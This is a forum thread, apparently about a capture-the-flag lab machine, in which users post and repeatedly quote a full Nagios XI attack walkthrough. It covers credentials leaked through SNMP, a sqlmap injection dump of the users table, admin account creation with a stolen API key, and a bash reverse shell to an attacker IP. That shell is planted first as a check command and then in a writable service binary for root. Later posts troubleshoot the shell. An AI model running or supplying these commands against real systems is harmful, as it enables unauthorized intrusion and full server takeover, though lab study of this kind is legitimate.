[kokot0kokot0]

Hi guys, i changed the content of 

/usr/local/nagios/bin/nagios

but when i restart the service from the web i get shell as user nagios and when i try restart the nagios service with the scripts Eg:

sudo /usr/local/nagiosxi/scripts/manage_services.sh restart nagios

i get 

Job for nagios.service failed because the control process exited with error code.
See "systemctl status nagios.service" and "journalctl -xe" for details.

and no shell, any help?

Are you checked that /usr/local/nagios/bin/nagios was writed? Try look change it chmod first. And try run as

sudo -u root /usr/local/nagiosxi/scripts/manage_services.sh *

or

[quote]sudo -u root /usr/local/nagiosxi/scripts/backup_xi.sh *

Reseting this service too...

[DwightSchrute]

sadly i dont have enough points to see it...

Got you fam.

USER PART
There is Nagios XI working on the server. But it requires valid user creds.
https://nagios.monitored.htb/

There is an open SNMP port:
sudo nmap -sU -sC -sV -T4 --min-rate=500 monitored.htb

From the nmap NSE output we can find the line with creds:
|        Params: -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB

CREDS:
svc:XjH7VCehowpR1xZB


Try to login with the creds at https://nagios.monitored.htb:
FAIL: The specified user account has been disabled or does not exist.

But we can login at: https://nagios.monitored.htb/nagios/

According to:
https://vuldb.com/?id.239985
there is a Post-Auth SQLi at:
https://nagios.monitored.htb//nagiosxi/a...helper.php


Dump users table via SQLi:
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ks https://nagios.monitored.htb/nagiosxi/ap...thenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi -T xi_users --dump


Add a new admin account using admin's apiKey token:
curl -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=admin111&password=admin111&name=Admin111&email=admin111@LocalHost&auth_level=admin"

where:
username=admin111 - Your admin account username
password=admin111 - Your admin account password

After that you can login with your admin creds at:
https://nagios.monitored.htb/nagiosxi/


We can add custom commands to the host and get RCE at:
https://nagios.monitored.htb/nagiosxi/in...-index.php -> [Sidebar] Commands -> Commands -> [button] Add New

Name: CMD_NAME
Command Line: bash -c 'bash -i >& /dev/tcp/YOUR-IP/YOUR-PORT 0>&1'
Command Type: Check
Active: Yes
[Save]

To apply changes click the button 'Apply Configuration'

Trigger the rev shell:
[Sidebar] Monitoring > Hosts > localhost:
Select CMD_NAME from 'Check command' dropdown
Click to the 'Run Check Command' button


ROOT PART

linpeas.sh:
/etc/systemd/system/multi-user.target.wants/mariadb.service could be executing some relative path
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
/etc/systemd/system/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd

We can modify /usr/local/nagios/bin/npcd file.

Check out what we can run as root:
sudo -l:
....
/usr/local/nagiosxi/scripts/manage_services.sh *
....

We can start/stop npcd.service.


PrivEsc:
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
$ vi /usr/local/nagios/bin/npcd
-----
#!/bin/bash

bash -i >& /dev/tcp/YOUR-IP/YOUR-PORT 0>&1
-----

Start nc on your local machine, then:
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

much appreciated!
My brain wasn´t able to do hat last step today and i got frustrated af....

[TuuuDs]

V
@VfV Good job ! 

sadly i dont have enough points to see it...

Got you fam.

USER PART
There is Nagios XI working on the server. But it requires valid user creds.
https://nagios.monitored.htb/

There is an open SNMP port:
sudo nmap -sU -sC -sV -T4 --min-rate=500 monitored.htb

From the nmap NSE output we can find the line with creds:
|        Params: -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB

CREDS:
svc:XjH7VCehowpR1xZB


Try to login with the creds at https://nagios.monitored.htb:
FAIL: The specified user account has been disabled or does not exist.

But we can login at: https://nagios.monitored.htb/nagios/

According to:
https://vuldb.com/?id.239985
there is a Post-Auth SQLi at:
https://nagios.monitored.htb//nagiosxi/a...helper.php


Dump users table via SQLi:
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ks https://nagios.monitored.htb/nagiosxi/ap...thenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi -T xi_users --dump


Add a new admin account using admin's apiKey token:
curl -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=admin111&password=admin111&name=Admin111&email=admin111@LocalHost&auth_level=admin"

where:
username=admin111 - Your admin account username
password=admin111 - Your admin account password

After that you can login with your admin creds at:
https://nagios.monitored.htb/nagiosxi/


We can add custom commands to the host and get RCE at:
https://nagios.monitored.htb/nagiosxi/in...-index.php -> [Sidebar] Commands -> Commands -> [button] Add New

Name: CMD_NAME
Command Line: bash -c 'bash -i >& /dev/tcp/YOUR-IP/YOUR-PORT 0>&1'
Command Type: Check
Active: Yes
[Save]

To apply changes click the button 'Apply Configuration'

Trigger the rev shell:
[Sidebar] Monitoring > Hosts > localhost:
Select CMD_NAME from 'Check command' dropdown
Click to the 'Run Check Command' button


ROOT PART

linpeas.sh:
/etc/systemd/system/multi-user.target.wants/mariadb.service could be executing some relative path
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/nagios.service is calling this writable executable: /usr/local/nagios/bin/nagios
/etc/systemd/system/multi-user.target.wants/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd
/etc/systemd/system/npcd.service is calling this writable executable: /usr/local/nagios/bin/npcd

We can modify /usr/local/nagios/bin/npcd file.

Check out what we can run as root:
sudo -l:
....
/usr/local/nagiosxi/scripts/manage_services.sh *
....

We can start/stop npcd.service.


PrivEsc:
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
$ vi /usr/local/nagios/bin/npcd
-----
#!/bin/bash

bash -i >& /dev/tcp/YOUR-IP/YOUR-PORT 0>&1
-----

Start nc on your local machine, then:
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

[R4F4U]

i still cant get the shell ....

i cant vi /usr/local/nagios/bin/npcd because i cant get a stable shell, so i uploaded own npcd file:

#!/bin/bash

bash -i >& /dev/tcp/10.10.x.x/9002 0>&1


run sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

and nothing

[D0rke1e]

finally rooted Thank for the hints

[CubeMadness3]

i still cant get the shell ....

i cant  vi /usr/local/nagios/bin/npcd because i cant get a stable shell, so i uploaded own npcd file:

#!/bin/bash

bash -i >& /dev/tcp/10.10.x.x/9002 0>&1


run  sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

and nothing

I also got nothing doing this, i put payload at the very top of the file. Save and exit run the service with my nc listening still nothing

EDIT: i edited the original npcd file. nothing too

[peRd1]

i still cant get the shell ....

i cant  vi /usr/local/nagios/bin/npcd because i cant get a stable shell, so i uploaded own npcd file:

#!/bin/bash

bash -i >& /dev/tcp/10.10.x.x/9002 0>&1


run  sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

and nothing

Check the status of the service, did it run successfully? use same shell script but "status" functionality.

Also you can drop a metepreter shell, and don't forget to chmod for execution your own variation of npcd...

You can drop ANY revshell there to replace the original binary but on public servers you might want to backup so you can revert in the end, so yeah.. it's gonna be messy now, haha.

There are other ways to do it, also, one of other shell scripts, but it's a bit lengthier involving few more steps. So multiple paths...

[TuuuDs]

@R4F4U

Did you try to test your shell script?

bash /usr/local/nagios/bin/npcd

Are there some errors?

i still cant get the shell ....

i cant  vi /usr/local/nagios/bin/npcd because i cant get a stable shell, so i uploaded own npcd file:

#!/bin/bash

bash -i >& /dev/tcp/10.10.x.x/9002 0>&1


run  sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

and nothing

[R4F4U]

@R4F4U

Did you try to test your shell script?

bash /usr/local/nagios/bin/npcd

Are there some errors?

i still cant get the shell ....

i cant  vi /usr/local/nagios/bin/npcd because i cant get a stable shell, so i uploaded own npcd file:

#!/bin/bash

bash -i >& /dev/tcp/10.10.x.x/9002 0>&1


run  sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

and nothing

thanks, i forgot to chmod  +x npcd   ^^ like a big noob

[peRd1]

#!/bin/bash
bash -i >& /dev/tcp/10.10.x.x/9002 0>&1

I also got nothing doing this, i put payload at the very top of the file. Save and exit run the service with my nc listening still nothing

EDIT: i edited the original npcd file. nothing too

Did you add the bin bash thing at the top of the file? Did you chmod +x the file? Does the service start? Is your IP and port GOOD?